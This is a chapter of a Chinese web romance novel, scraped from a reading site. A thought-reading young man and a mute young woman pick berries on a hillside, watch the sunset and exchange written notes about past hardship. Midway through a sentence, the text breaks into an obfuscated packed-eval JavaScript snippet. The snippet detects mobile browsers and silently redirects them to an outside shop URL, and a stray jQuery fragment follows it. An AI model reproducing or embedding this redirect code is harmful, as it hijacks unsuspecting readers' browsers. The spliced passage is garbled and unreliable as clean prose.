文趣网 > 其他小说 > 假千金被真少爷读心后 > 11. 角落
    「他怎么站着不动?」

    「不会是在等我的感谢吧?」

    唐风荷实在提不起力气写小画板,她抬起手,握拳大拇指点点。

    这是手语:“谢谢。”

    宁渊看懂了。

    他没说话,只是把肩头的背篓拿下来,倒扣在地上。

    “你坐一会,树莓我来摘。”

    唐风荷意外,宁渊又道:“还是五分钟。”

    说完他转身走进果丛,山坡弧度对他来说像是不存在,他迈步如履平地摘果子,手速还很快。

    唐风荷坐在临时小凳子上,看得眼花缭乱。

    「突然有点相信他是个杀手了。」

    「那现在算是什么……树莓杀手?」

    没过一会,宁渊带着小半篓树莓果回来了。

    他随手拿起一颗丢进嘴里,尝了尝后点头:“挺甜,要不要吃?”

    唐风荷立马点头。

    「要!」

    宁渊把背篓口朝向她,唐风荷上看下看,挑选了一颗最大的树莓,放进嘴里。

    树莓是空心的果子,不像是草莓,一口下去都是果肉。

    它口感格外地轻盈,舌尖一压就化开了,像是含住一朵清甜的小云彩。

    宁渊看着唐风荷变化的表情,亮晶晶的乌黑眼睛,即便不听心声,也知道她会为一颗小小的树莓果欣喜快乐。

    在她的世界里,似乎再普通平常的事情,都值得虔诚歌颂。

    宁渊垂目笑了笑:“走吧,趁天黑之前,看看还能再碰到什么。”

    「好哎。」

    「感觉好像在魔法森林里一样。」

    两人接着往前走,宁渊一只手打草清理环境,一只手提着装树莓的竹篓。

    唐风荷站在竹篓那一侧,吃得不亦乐乎。

    过了会,唐风荷仰头看了眼兢兢业业打草的宁渊。

    「这都是他摘的,我一个人吃是不是不太好。」

    「他还在辛苦打草呢。」

    「但他两只手都占住了,我如果叫他多吃点,他会不会觉得我游手好闲话还多?」

    宁渊看向她,不免好笑。

    打个草提个竹篓,这种工作量对他来说,和游山玩水没什么区别。

    更何况她那么容易受伤,这些事他来说不是理所应当的吗。

    她怎么还能想那么多?

    好好一个小姑娘,真不知道唐家怎么养的她。

    「要不,我喂他?」

    宁渊眉头一跳,不着痕迹地别开了眼睛。

    「会不会有点太亲密了?」

    「不过,他都对我用美人计了,我喂他吃个东西,不是理所当然吗。」

    「就当我是被美人迷倒的大王吧。」

    宁渊:“。”

    他现在听到美人计三个字就头疼。

    衣摆突然传来轻微的拉扯感,像是被小羊叼住了衣角。

    宁渊垂目,眼前正是一颗散发出甘甜气息的树莓。

    越过红树莓,他看见她的眼睛,睁得大大的,圆而明亮,带着抹紧张情绪。

    莫名地,让他想起小心翼翼第一次靠近人类的小动物。

    宁渊嘴唇翘起,张口吃掉她指尖的树莓。

    鼻息掠过指尖,带着细微的痒意。

    唐风荷咻了一下收回手,搓了搓指尖。

    “谢谢,很甜。”

    宁渊带笑的磁性嗓音钻进耳朵,让她耳朵也跟着痒起来。

    唐风荷只好又揉揉耳朵,驱散那股奇怪的感觉。

    “啪——”

    一时没注意,她撞上一根低垂下来的花枝。

    “没事吧?”

    唐风荷还没反应过来,就被宁渊拎着往后退了一步。

    她这才看清面前是一条坠满不知名花朵的树枝,花瓣粉粉白白,簇拥着挤在一处,看起来特别漂亮热闹。

    她看着花枝,宁渊正细细看着她的脸蛋,确认她没有受伤,只是有一点点红。

    见她盯着花枝,宁渊道:“想折了它?”

    唐风荷没回答,她抬起手,素白指尖拈住了一片粉色花瓣,像是要扯下来。

    但最后她只是摸了摸花瓣柔嫩微凉的表面,松开了手。

    既没有折枝,也没有摘花。

    「你开得真漂亮。」

    「我一点也不怪你了。」

    宁渊听到她的心声,衷心赞叹一朵花,甚至和它对话。

    她的精神还正常吗?

    淡淡的荒谬感之后,宁渊又觉得理所当然。

    毕竟,她是豌豆公主。

    公主喜欢和小花小草说话,好像也是蛮常见的事情。

    这么一想,宁渊笑了。

    感觉自己好像也不太正常。

    山上人不多,天色还没转暗时,农家乐老板带着大喇叭上山巡逻赶人。

    两人忙活两小时,摘了不满两背篓的果子,有树莓、枇杷、桑葚。

    老板帮忙洗净果子装盒,唐风荷遗憾。

    「可惜没摘到草莓。」

    “你去外面等吧,我很快过来。”宁渊说。

    唐风荷依言出门,草原夕阳西下,晚风轻柔,小牛小羊慢悠悠地往家赶。

    她找了块空地坐下来,看着晚霞发呆。

    宁渊端着水果过来的时候,就见唐风荷抱着腿,小小一只坐在草地上。

    她身旁包包铺好,上面坐着一只小狗玩偶,和她一起看夕阳。

    「真美啊,小熊。」

    「要是这一刻无限拉长,变成一辈子就好了。」

    宁渊脚步微顿。

    “水果来了。”

    唐风荷回头,宁渊正笑着走过来,朝她亮了下手里的水果。

    「居然有草莓!」

    宁渊在她身旁坐下,她歪头指着草莓,表示疑惑。

    宁渊打开盒子:“老板店里卖草莓,我想吃,就顺手买一盒。”

    「好巧呀,我也想吃。」

    「好开心!」

    宁渊随手拿了颗草莓,转头看向唐风荷。

    她捧着一颗大草莓,咬了一口草莓尖尖,眯着眼睛笑。

    「酸酸甜甜的。」

    「好吃!」

    宁渊笑笑,把草莓又放了回去。

    其实他不怎么吃水果。

    夕阳给万物披上一层金黄的光,两人并肩坐在草地上,中间还有一只端坐的毛绒小狗,安静地看天空。

    好一会,宁渊突然说:“我能问你一个问题吗?”

    唐风荷抱着腿,闻声转过头,小脸靠着膝盖,点了点头。

    “那天后山山坡上,你问大伯的时候,脑子里在想什么?”

    宁渊小时候能清楚听到旁人的心声,那时他身处的环境很糟,听心声虽然帮他活了下来,但同样让他早早接触了太多血腥暴力阴暗的东西。

    这导致他对于自己的这项能力,始终持厌恶态度。

    后

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17677913|207569||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    来随着年纪增长环境变化,他渐渐只能听到模糊不成句的词语。

    说实话,这让他觉得安宁多了。

    但他从来没想过,他居然能在清晰听到对方心声的情况下,度过愉快的一天。

    甚至于感到当年刚解脱时,那种久违的安宁感。

    令人着迷的感觉。

    因此,回想起这几天的事情,想到山坡上她那段空白的心声,宁渊竟忍不住感到好奇。

    在他不知道的时候,她在想什么?

    唐风荷怔了下。

    或许是因为夕阳太美,微风太轻,此时的一切都太惬意。

    她对于这个话题,并不抗拒。

    甚至还生出一点想要倾诉的感觉。

    「我那时在想什么?」

    「我自己也不知道。」

    她在小画板上写:【你不会有这种时候吗?身体和大脑像是处于不同的次元,完全无法控制自己的表情和动作,只有潜意识在掌控自己。】

    她写得很慢,垂着头。

    头上还戴着那顶草帽,像是小孩子喜欢一个玩具,就会每时每刻抱着不松手。

    很多时候,她身上都带着一种孩子似的天真气。

    但她笔下的表达,让这份天真显出一种别样的残忍。

    宁渊坐在她身旁,看着她一个字一个字地写完。

    写完之后,唐风荷转过脸,额头靠着膝盖,等待他的回答。

    宁渊没有说话。

    他拿过唐风荷手里的笔,在小画板上她的那句话下,写出下一句。

    【我从前也会有这种时候。】

    小画板铺在草地上,宁渊写完,侧目看向她,英俊面容沉静如水。

    他好像在说,你不是孤单一人。

    他把笔递过来,唐风荷想了想,写:【真的吗?你看起来不像是这样的人。】

    她看宁渊一眼,又补充道:【你看起来很厉害。】

    宁渊轻轻笑了一声,落笔字迹狂放。

    【你不知道吗?很多动物在野外遇到天敌的时候,会弓背炸毛嘶吼,假装自己很强大,来吓退敌人。在真正变得强大之前,需要学会假装强大。】

    唐风荷疑惑,拿过笔,轻戳了下宁渊的大臂。

    肌肉硬邦邦的,戳都戳不下去。

    她问:【那你现在是在假装强大吗?】

    宁渊挑眉:【当然不是。】

    【我越过了曾经那个难关,希望你也一样。】

    他也思考过,只是因为心声,他才对唐风荷另眼相看吗?

    是。

    也不是。

    看到她会让他想起他自己。

    那个很多年前,无法离开房间角落,被人像狗一样拴住的孩子。

    他用了很多年,走出那个房间。

    又用了很多年,才真正离开那个角落。

    如今他回到唐家,又在角落里看到一个孩子。

    他实在是很难不去注意。

    唐风荷手掌按着小画板,指尖拨着微凉柔软的草叶,想得出神。

    「他的策略是假装强大,最后真的变强大了。」

    「但我的策略是装死哎,难道最后装着装着真的死掉……?」

    「不行不行不行。」

    「这可不行呐。」

    「我还准备长命百岁气死唐家人来着。」

    宁渊沉沉垂下如深潭的眼神一动,泛开波纹。

    他又被她逗笑了。